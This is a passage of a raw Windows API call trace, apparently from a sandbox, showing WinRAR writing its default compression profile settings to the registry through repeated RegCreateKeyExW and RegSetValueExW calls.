RegCloseKey (hKey=0x1f0) returned 0x0 [0058.029] GetLastError () returned 0x0 [0058.029] SetLastError (dwErrCode=0x0) [0058.029] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.029] RegSetValueExW (in: hKey=0x1f0, lpValueName="ImmExec", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.029] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.029] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x2) returned 0x1ec0a5a6880 [0058.029] GetLastError () returned 0x0 [0058.030] SetLastError (dwErrCode=0x0) [0058.030] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.030] RegSetValueExW (in: hKey=0x1f0, lpValueName="ExclNames", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.030] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.030] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5a6880 | out: hHeap=0x1ec0a590000) returned 1 [0058.030] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x2) returned 0x1ec0a5a6820 [0058.030] GetLastError () returned 0x0 [0058.030] SetLastError (dwErrCode=0x0) [0058.030] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.030] RegSetValueExW (in: hKey=0x1f0, lpValueName="StoreNames", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.030] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.030] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5a6820 | out: hHeap=0x1ec0a590000) returned 1 [0058.030] GetLastError () returned 0x0 [0058.030] SetLastError (dwErrCode=0x0) [0058.030] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.030] RegSetValueExW (in: hKey=0x1f0, lpValueName="UseRAR", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x1, cbData=0x4 | out: lpData=0xe414fb268*=0x1) returned 0x0 [0058.030] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.030] GetLastError () returned 0x0 [0058.030] SetLastError (dwErrCode=0x0) [0058.030] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.030] RegSetValueExW (in: hKey=0x1f0, lpValueName="RAR5", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x1, cbData=0x4 | out: lpData=0xe414fb268*=0x1) returned 0x0 [0058.030] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.030] GetLastError () returned 0x0 [0058.031] SetLastError (dwErrCode=0x0) [0058.031] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.031] RegSetValueExW (in: hKey=0x1f0, lpValueName="SFXModule", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.031] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.031] GetLastError () returned 0x0 [0058.031] SetLastError (dwErrCode=0x0) [0058.031] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x20006, phkResult=0xe414fae10 | out: phkResult=0xe414fae10*=0x1f0) returned 0x0 [0058.031] RegDeleteValueW (hKey=0x1f0, lpValueName="SFX") returned 0x2 [0058.031] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.031] GetLastError () returned 0x0 [0058.031] SetLastError (dwErrCode=0x0) [0058.031] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.031] RegSetValueExW (in: hKey=0x1f0, lpValueName="SFXIcon", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.031] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.031] GetLastError () returned 0x0 [0058.031] SetLastError (dwErrCode=0x0) [0058.031] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.031] RegSetValueExW (in: hKey=0x1f0, lpValueName="SFXLogo", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.031] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.032] GetLastError () returned 0x0 [0058.032] SetLastError (dwErrCode=0x0) [0058.032] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.032] RegSetValueExW (in: hKey=0x1f0, lpValueName="SFXElevate", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.032] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.032] GetLastError () returned 0x0 [0058.032] SetLastError (dwErrCode=0x0) [0058.032] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.032] RegSetValueExW (in: hKey=0x1f0, lpValueName="CmtFile", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.032] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.032] GetLastError () returned 0x0 [0058.032] SetLastError (dwErrCode=0x0) [0058.032] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0xe414fad88, lpdwDisposition=0xe414fad80 | out: phkResult=0xe414fad88*=0x1f0, lpdwDisposition=0xe414fad80*=0x2) returned 0x0 [0058.032] RegSetValueExW (in: hKey=0x1f0, lpValueName="CmtDataWide", Reserved=0x0, dwType=0x3, lpData=0x7ff6f75df128*, cbData=0x2 | out: lpData=0x7ff6f75df128*) returned 0x0 [0058.032] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.032] GetLastError () returned 0x0 [0058.032] SetLastError (dwErrCode=0x0) [0058.032] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.032] RegSetValueExW (in: hKey=0x1f0, lpValueName="VolumeSize", Reserved=0x0, dwType=0x1, lpData="0", cbData=0x4 | out: lpData="0") returned 0x0 [0058.032] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.032] GetLastError () returned 0x0 [0058.032] SetLastError (dwErrCode=0x0) [0058.033] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.033] RegSetValueExW (in: hKey=0x1f0, lpValueName="VolSizeMod", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x2, cbData=0x4 | out: lpData=0xe414fb268*=0x2) returned 0x0 [0058.033] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.033] GetLastError () returned 0x0 [0058.033] SetLastError (dwErrCode=0x0) [0058.033] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.033] RegSetValueExW (in: hKey=0x1f0, lpValueName="VolPause", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.033] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.033] GetLastError () returned 0x0 [0058.033] SetLastError (dwErrCode=0x0) [0058.033] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.033] RegSetValueExW (in: hKey=0x1f0, lpValueName="OldVolNames", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.033] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.033] GetLastError () returned 0x0 [0058.033] SetLastError (dwErrCode=0x0) [0058.033] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.033] RegSetValueExW (in: hKey=0x1f0, lpValueName="RecVolNumber", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.033] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.033] GetLastError () returned 0x0 [0058.033] SetLastError (dwErrCode=0x0) [0058.033] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.033] RegSetValueExW (in: hKey=0x1f0, lpValueName="Update", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.034] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.034] GetLastError () returned 0x0 [0058.034] SetLastError (dwErrCode=0x0) [0058.034] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.034] RegSetValueExW (in: hKey=0x1f0, lpValueName="Fresh", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.034] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.034] GetLastError () returned 0x0 [0058.034] SetLastError (dwErrCode=0x0) [0058.034] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.034] RegSetValueExW (in: hKey=0x1f0, lpValueName="SyncFiles", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.034] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.034] GetLastError () returned 0x0 [0058.034] SetLastError (dwErrCode=0x0) [0058.034] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.034] RegSetValueExW (in: hKey=0x1f0, lpValueName="Overwrite", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.034] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.034] GetLastError () returned 0x0 [0058.034] SetLastError (dwErrCode=0x0) [0058.034] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.034] RegSetValueExW (in: hKey=0x1f0, lpValueName="Move", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.035] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.035] GetLastError () returned 0x0 [0058.035] SetLastError (dwErrCode=0x0) [0058.035] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.035] RegSetValueExW (in: hKey=0x1f0, lpValueName="ArcRecBin", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.035] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.035] GetLastError () returned 0x0 [0058.035] SetLastError (dwErrCode=0x0) [0058.035] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.035] RegSetValueExW (in: hKey=0x1f0, lpValueName="ArcWipe", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.035] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.035] GetLastError () returned 0x0 [0058.035] SetLastError (dwErrCode=0x0) [0058.035] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.035] RegSetValueExW (in: hKey=0x1f0, lpValueName="WipeIfPassword", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.035] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.035] GetLastError () returned 0x0 [0058.035] SetLastError (dwErrCode=0x0) [0058.035] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.036] RegSetValueExW (in: hKey=0x1f0, lpValueName="Solid", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.036] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.036] GetLastError () returned 0x0 [0058.036] SetLastError (dwErrCode=0x0) [0058.036] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.036] RegSetValueExW (in: hKey=0x1f0, lpValueName="Test", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.036] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.036] GetLastError () returned 0x0 [0058.036] SetLastError (dwErrCode=0x0) [0058.036] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.036] RegSetValueExW (in: hKey=0x1f0, lpValueName="RecEnabled", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.036] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.036] GetLastError () returned 0x0 [0058.036] SetLastError (dwErrCode=0x0) [0058.036] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.036] RegSetValueExW (in: hKey=0x1f0, lpValueName="RecSize", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0xfffffffd, cbData=0x4 | out: lpData=0xe414fb268*=0xfffffffd) returned 0x0 [0058.036] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.036] GetLastError () returned 0x0 [0058.036] SetLastError (dwErrCode=0x0) [0058.036] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.036] RegSetValueExW (in: hKey=0x1f0, lpValueName="EraseDest", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.037] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.037] GetLastError () returned 0x0 [0058.037] SetLastError (dwErrCode=0x0) [0058.037] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.037] RegSetValueExW (in: hKey=0x1f0, lpValueName="AddArcOnly", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.037] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.037] GetLastError () returned 0x0 [0058.037] SetLastError (dwErrCode=0x0) [0058.037] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.037] RegSetValueExW (in: hKey=0x1f0, lpValueName="ClearArc", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.037] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.037] GetLastError () returned 0x0 [0058.037] SetLastError (dwErrCode=0x0) [0058.037] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.037] RegSetValueExW (in: hKey=0x1f0, lpValueName="Lock", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.037] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.037] GetLastError () returned 0x0 [0058.037] SetLastError (dwErrCode=0x0) [0058.037] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.037] RegSetValueExW (in: hKey=0x1f0, lpValueName="Method", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x3, cbData=0x4 | out: lpData=0xe414fb268*=0x3) returned 0x0 [0058.037] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.037] GetLastError () returned 0x0 [0058.038] SetLastError (dwErrCode=0x0) [0058.038] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.038] RegSetValueExW (in: hKey=0x1f0, lpValueName="DictSizeLZ", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x400000, cbData=0x4 | out: lpData=0xe414fb268*=0x400000) returned 0x0 [0058.038] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.038] GetLastError () returned 0x0 [0058.038] SetLastError (dwErrCode=0x0) [0058.038] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.038] RegSetValueExW (in: hKey=0x1f0, lpValueName="DictSize", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x2000000, cbData=0x4 | out: lpData=0xe414fb268*=0x2000000) returned 0x0 [0058.038] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.038] GetLastError () returned 0x0 [0058.038] SetLastError (dwErrCode=0x0) [0058.038] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.038] RegSetValueExW (in: hKey=0x1f0, lpValueName="Background", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.038] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.038] GetLastError () returned 0x0 [0058.038] SetLastError (dwErrCode=0x0) [0058.038] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.038] RegSetValueExW (in: hKey=0x1f0, lpValueName="WaitForOther", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.038] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.038] GetLastError () returned 0x0 [0058.038] SetLastError (dwErrCode=0x0) [0058.038] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.038] RegSetValueExW (in: hKey=0x1f0, lpValueName="Shutdown", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.039] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.039] GetLastError () returned 0x0 [0058.039] SetLastError (dwErrCode=0x0) [0058.039] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", 